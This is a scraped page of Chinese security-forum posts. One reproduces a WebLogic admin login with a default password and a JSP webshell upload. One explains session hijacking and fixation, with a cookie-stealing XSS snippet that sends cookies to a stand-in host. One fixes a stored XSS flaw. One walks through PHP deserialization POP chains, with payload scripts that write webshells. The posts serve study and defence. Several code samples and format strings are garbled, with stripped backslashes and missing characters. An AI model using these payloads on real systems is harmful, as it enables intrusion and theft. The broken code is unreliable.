weblogic漏洞系列-后台上传文件getshell

zksmile 发表了文章 • 2 个评论 • 456 次浏览 • 2018-08-08 11:09 • 来自相关话题

往后每周会坚持做漏洞复现,环境采取P神的vulhub。https://github.com/vulhub 感谢P神提供这么简便的测试环境。
 
测试环境:
WebLogic Server 版本: 10.3.6.0 (11g)
jdk版本:1.6
 
 
测试步骤:
1、通过弱口令进后台,本测试环境弱口令为:

[]weblogic[/][]Oracle@123[/]weblogic 常用弱口令可以参考:https://cirt.net/passwords?criteria=weblogic 2、weblogic后台访问地址为:http://ip:7001/console/login/LoginForm.jsp (默认端口是7001,要根据实际开放端口进行访问) 


3、输入账号名、密码登录之后进入后台管理界面-【部署】-【安装】 


4、在安装页面点击上载文件。


5、war包制作方法:[list=1][]    准备一个大马文件:xxx.jsp[/][]    将其压缩为 test.zip[/][]    然后重命名为 test.war[/]
     test即为部署成功大马存放的目录。​
6、然后选择制作好的 war包,点击下一步。




7、一直下一步,这里注意点击的是上边的下一步,不要点错了。



 
8、然后点击完成-保存。















9、访问大马文件
 










 
  查看全部
往后每周会坚持做漏洞复现,环境采取P神的vulhub。https://github.com/vulhub 感谢P神提供这么简便的测试环境。
 
测试环境:
WebLogic Server 版本: 10.3.6.0 (11g)
jdk版本:1.6
 
 
测试步骤:
1、通过弱口令进后台,本测试环境弱口令为:


    []weblogic[/][]Oracle@123[/]
weblogic 常用弱口令可以参考:https://cirt.net/passwords?criteria=weblogic

 2、weblogic后台访问地址为:http://ip:7001/console/login/LoginForm.jsp (默认端口是7001,要根据实际开放端口进行访问) 
1.png
3、输入账号名、密码登录之后进入后台管理界面-【部署】-【安装】 
2.png
4、在安装页面点击上载文件。
4.png
5、war包制作方法:[list=1][]    准备一个大马文件:xxx.jsp[/][]    将其压缩为 test.zip[/][]    然后重命名为 test.war[/]
     test即为部署成功大马存放的目录。​
6、然后选择制作好的 war包,点击下一步。
5.png

7、一直下一步,这里注意点击的是上边的下一步,不要点错了。
7.png
 
8、然后点击完成-保存。
8.1_.png


8.2_.png


8.3_.png


9、访问大马文件
 
9.1_.png


9.2_.png


 
 

Session攻击手段(会话劫持/固定)及其安全防御措施

Web安全渗透kakaxi 发表了文章 • 0 个评论 • 141 次浏览 • 2018-08-07 18:49 • 来自相关话题

一、概述
       对于Web应用程序来说,加强安全性的第一条原则就是——不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,进而保存到数据层。然而,由于Http的无状态性,为了维持来自同一个用户的不同请求之间的状态,客户端必须发送一个唯一的身份标识符(Session ID)来表明自己的身份。很显然,这与前面提到的安全原则是相违背的,但是没有办法,为了维持状态,我们别无选择,这也导致了Session在web应用程序中是十分脆弱的一个环节。
       由于PHP内置的Session管理机制并没有提供安全处理,所以,开发人员需要建立相应的安全机制来防范会话攻击。针对Session的攻击手段主要有会话劫持(Session hijacking)和会话固定(Session fixation)两种。
 
二、会话劫持(Session hijacking)
       会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
       攻击步骤:
       1、 目标用户需要先登录站点;
       2、 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
       3、 攻击者通过某种攻击手段捕获Session ID;
       4、 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
 





 
       攻击者获取SessionID的方式有多种:
       1、 暴力破解:尝试各种Session ID,直到破解为止;
       2、 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3、 窃取:使用网络嗅探,XSS攻击等方法获得。
       PHP内部Session的实现机制虽然不是很安全,但是关于生成Session ID的环节还是比较安全的,这个随机的Session ID往往是极其复杂的并且难于被预测出来,所以,对于第一、第二种攻击方式基本上是不太可能成功的。
       在第三种攻击方式中,针对网络嗅探攻击,是通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
       如何寻找XSS漏洞是另外一个话题了,这里不详细讨论。防御上可以设置Cookie的HttpOnly属性,一旦一个Cookie被设置为HttpOnly,JS脚本就无法再获取到,而网络传输时依然会带上,也就是说依然可以依靠这个Cookie进行Session维持,但客户端JS对其不可见。那么即使存在XSS漏洞也无法简单的利用其进行Session劫持攻击了。但是上面说的是无法利用XSS进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍一种XSS结合其他漏洞的攻击方式。
       利用PHP开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括Cookie信息。
       如果开发者没有关闭这个页面,就可以利用XSS漏洞向这个页面发起异步请求,获取到页面内容后Parse出Cookie信息,然后上传给攻击者。phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。防御上是关闭所有phpinfo类dump request信息的页面。
 
       防御方法:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。





        6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。





 
 
 
三、会话固定(Sessionfixation)
       会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
       攻击步骤:
       1、 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
       2、 目标用户携带攻击者设定的Session ID登录站点;
       3、 攻击者通过Session ID获得合法会话。





 
 
      攻击者重置SessionID的方式:
      重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
       这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
       防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
 
四、附加
       http://www.php.net/manual/zh/session.security.php
       PHP官方提供的关于会话安全的文档,主要介绍了session安全设置项的作用,并建议开发人员应该合理启用可接受的安全设置项来保证会话安全。
       http://www.nowamagic.net/librarys/veda/detail/2078
       http://www.nowamagic.net/librarys/veda/detail/2079       关于会话数据安全的两篇博文。
 
文章转载来源:https://blog.csdn.net/h_MXC/article/details/50542038 查看全部
一、概述
       对于Web应用程序来说,加强安全性的第一条原则就是——不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,进而保存到数据层。然而,由于Http的无状态性,为了维持来自同一个用户的不同请求之间的状态,客户端必须发送一个唯一的身份标识符(Session ID)来表明自己的身份。很显然,这与前面提到的安全原则是相违背的,但是没有办法,为了维持状态,我们别无选择,这也导致了Session在web应用程序中是十分脆弱的一个环节。
       由于PHP内置的Session管理机制并没有提供安全处理,所以,开发人员需要建立相应的安全机制来防范会话攻击。针对Session的攻击手段主要有会话劫持(Session hijacking)和会话固定(Session fixation)两种。
 
二、会话劫持(Session hijacking)
       会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
       攻击步骤:
       1、 目标用户需要先登录站点;
       2、 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
       3、 攻击者通过某种攻击手段捕获Session ID;
       4、 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
 

20160119140812530.jpg

 
       攻击者获取SessionID的方式有多种:
       1、 暴力破解:尝试各种Session ID,直到破解为止;
       2、 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3、 窃取:使用网络嗅探,XSS攻击等方法获得。
       PHP内部Session的实现机制虽然不是很安全,但是关于生成Session ID的环节还是比较安全的,这个随机的Session ID往往是极其复杂的并且难于被预测出来,所以,对于第一、第二种攻击方式基本上是不太可能成功的。
       在第三种攻击方式中,针对网络嗅探攻击,是通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
       如何寻找XSS漏洞是另外一个话题了,这里不详细讨论。防御上可以设置Cookie的HttpOnly属性,一旦一个Cookie被设置为HttpOnly,JS脚本就无法再获取到,而网络传输时依然会带上,也就是说依然可以依靠这个Cookie进行Session维持,但客户端JS对其不可见。那么即使存在XSS漏洞也无法简单的利用其进行Session劫持攻击了。但是上面说的是无法利用XSS进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍一种XSS结合其他漏洞的攻击方式。
       利用PHP开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括Cookie信息。
       如果开发者没有关闭这个页面,就可以利用XSS漏洞向这个页面发起异步请求,获取到页面内容后Parse出Cookie信息,然后上传给攻击者。phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。防御上是关闭所有phpinfo类dump request信息的页面。
 
       防御方法:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。

20160119140538416.jpg

        6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。

20160119140707559.jpg

 
 
 
三、会话固定(Sessionfixation)
       会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
       攻击步骤:
       1、 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
       2、 目标用户携带攻击者设定的Session ID登录站点;
       3、 攻击者通过Session ID获得合法会话。

20160119140203442.jpg

 
 
      攻击者重置SessionID的方式:
      重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
       这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
       防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
 
四、附加
       http://www.php.net/manual/zh/session.security.php
       PHP官方提供的关于会话安全的文档,主要介绍了session安全设置项的作用,并建议开发人员应该合理启用可接受的安全设置项来保证会话安全。
       http://www.nowamagic.net/librarys/veda/detail/2078
       http://www.nowamagic.net/librarys/veda/detail/2079       关于会话数据安全的两篇博文。
 
文章转载来源:https://blog.csdn.net/h_MXC/article/details/50542038

赛克社区存在存储XSS漏洞

Web安全渗透admin 发表了文章 • 0 个评论 • 174 次浏览 • 2018-08-02 14:28 • 来自相关话题

 前几天社区的小伙伴 lawliet ,社区分享技术文章的时候,反馈从微信公众号,浏览文章的时候,弹出了cookie(原因是因为文章中在填写脚本的时候存在<script>alert(document.cookie)</script>),证明社区在手机端存在存储型xss,但是pc浏览器端是正常的.
当时心里一颤,感觉这开源程序太不靠谱了(坏笑!。。。,明明是在推锅),好吧,只能自己看一下社区的源码,感觉应该问题好找到,但是社区代码比较复杂,经过一顿翻腾,终于找到了对应的源码所在位置。如下:
 
<?php echo htmlspecialchars_decode($this->article_info['message']); ?>

手机端wifi设置代理 --------》pc burpsuite 8080端口
然后抓取返回的数据包如下:
 





 
如果通过pc上浏览器查看源码如下:





 
 
仔细比对上面两个截图中的差异就会知道pc端是经过了实体编码的,而手机端是没有做实体编码的,于是
 于是将源码yy,p了一下,然后注释掉上面原有php语句,具体如下图





 
于是再去burpsuite上抓取手机端的包已经经过了实体编码如下图:





 
手机端再次浏览lawliet的文章就ok了
 
在此感谢 lawliet,反馈的问题,及乌云很白对于 <pre>的讨论
 

  查看全部

Cache_-4269ec8865ac1b74._.jpg

 前几天社区的小伙伴 lawliet ,社区分享技术文章的时候,反馈从微信公众号,浏览文章的时候,弹出了cookie(原因是因为文章中在填写脚本的时候存在<script>alert(document.cookie)</script>),证明社区在手机端存在存储型xss,但是pc浏览器端是正常的.
当时心里一颤,感觉这开源程序太不靠谱了(坏笑!。。。,明明是在推锅),好吧,只能自己看一下社区的源码,感觉应该问题好找到,但是社区代码比较复杂,经过一顿翻腾,终于找到了对应的源码所在位置。如下:
 
<?php echo htmlspecialchars_decode($this->article_info['message']); ?>

手机端wifi设置代理 --------》pc burpsuite 8080端口
然后抓取返回的数据包如下:
 

6A0EF515881170421FB71AE6FAD803B9.jpg

 
如果通过pc上浏览器查看源码如下:

WX20180802-142411@2x.png

 
 
仔细比对上面两个截图中的差异就会知道pc端是经过了实体编码的,而手机端是没有做实体编码的,于是
 于是将源码yy,p了一下,然后注释掉上面原有php语句,具体如下图

WX20180802-141956@2x.png

 
于是再去burpsuite上抓取手机端的包已经经过了实体编码如下图:

WX20180802-142629@2x.png

 
手机端再次浏览lawliet的文章就ok了
 
在此感谢 lawliet,反馈的问题,及乌云很白对于 <pre>的讨论
 

 

PHP反序列化漏洞

Web安全渗透kakaxi 发表了文章 • 0 个评论 • 170 次浏览 • 2018-07-23 23:44 • 来自相关话题

0x00 序列化的作用
(反)序列化给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
可以看到,反序列化的危害,关键还是在于可控或不可控。
 
0x01 PHP序列化格式
基础格式booleanb:;
b:1; // True
b:0; // False
integeri:;
i:1; // 1
i:-3; // -3
doubled:;
d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)
NULLN;//NULL
strings::"";
s"INSOMNIA"; // "INSOMNIA"
arraya::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")
序列化举例test.php<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
我们来生成一下它的序列化字符串:
serialize.php<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);
代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
注意这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?
翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。 这些前缀值在任一侧都有空字节。

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:O:4:"test":1:{s:10:"testflag";s:6:"Active";}
反序列化示例unserialize.php<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);

 
0x02 PHP(反)序列化有关的魔法函数
construct(), destruct()
构造函数与析构函数
call(), callStatic()
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
get(), set()
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
isset(), unset()
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
sleep(), wakeup()
serialize()检查您的类是否具有魔术名sleep()的函数。 如果是这样,该函数在任何序列化之前执行。 它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。 如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。 sleep()的预期用途是提交挂起的数据或执行类似的清理任务。 此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。 如果存在,该功能可以重构对象可能具有的任何资源。 wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
__toString()
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__invoke()
当脚本尝试将对象调用为函数时,调用__invoke()方法。
__set_state()
__clone()
__debugInfo()
 
0x03 PHP反序列化与POP链
就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。 就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。 在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。
一些对我们来说有用的POP链方法:
命令执行:exec()
passthru()
popen()
system()
文件操作:file_put_contents()
file_get_contents()
unlink()
POP链demopopdemo.php<?php
class popdemo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。
poc.php<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php <?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));

表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

改为:O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}
便执行了我们想要执行的效果:

Autoloading与(反)序列化威胁PHP只能unserialize()那些定义了的类
传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。
举个例子:
目录结构为下:

index.php<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}
public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}
public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();
test1.php<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';
public function __construct()
{
$this->save($this->test1_filename);
}
public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}
其余的test2和test3和test1的内容类似。
运行一下index.php:

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。
若想了解更多关于自动加载类的资料,请查阅 spl_autoload_register
Composer与Autoloading说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。 Composer是PHP用来管理依赖(dependency)关系的工具。 你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。
经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。
比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。
 
0x04 反序列化漏洞的挖掘
概述通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。
而Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势,还有一种猜想:
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手
接下来逐个的介绍一下。
依赖库以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。 而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。
cartalyst/sentry
cartalyst/sentinel
寻找依赖库漏洞的方法,可以说是简单粗暴:
首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()
从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)
手动验证,并构建POP链
利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。
以下为一些存在可利用组件的依赖库:
任意写
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
任意删除
swiftmailer/swiftmailer
拒绝式服务(proc_terminate())
symfony/process
下面来举一个老外已经说过的经典例子,来具体的说一下过程。
例子
寻找可能存在漏洞的应用存在漏洞的应用:cartalyst/sentry
漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php ...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}
应用使用的库中的可利用的POP组件:guzzlehttp/guzzle
寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。 {
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}
寻找可以利用的POP组件我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

跟进看一下save方法:

存在一下代码,造成任意文件写操作:if (false === file_put_contents($filename, $jsonStr))
注意到现在$filename可控,也就是文件名可控。 同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。
如何找到$cookie呢? 注意到前面

跟进父类,看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口:

看一下目录结构:

所以定位到SetCookie.php:

可以看到,这里只是简单的返回了data数组的特定键值。
手动验证,并构建POP链首先我们先在vm中写一个composer.json文件:{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}
接下来安装Composer:$ curl -sS https://getcomposer.org/installer | php


然后根据composer.json来安装依赖库:$ php composer.phar install



接下来,我们根据上面的分析,来构造payload:
payload.php<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$obj = new FileCookieJar('./shell.php');
$payload = '<?php echo system($_POST['poc']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));
file_put_contents('./build_poc', serialize($obj));
我们执行完该脚本,看一下生成的脚本的内容:

我们再写一个反序列化的demo脚本:<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));
运行后,完成任意文件写操作。 至此,我们可以利用生成的序列化攻击向量来进行测试。
PHP语言本身漏洞提到这一点就不得不说去年的 CVE-2016-7124 ,同时具有代表性的漏洞即为 SugarCRM v6.5.23 PHP反序列化对象注入。 
在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
我们用一个demo来解释一下。
例子<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);
代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。
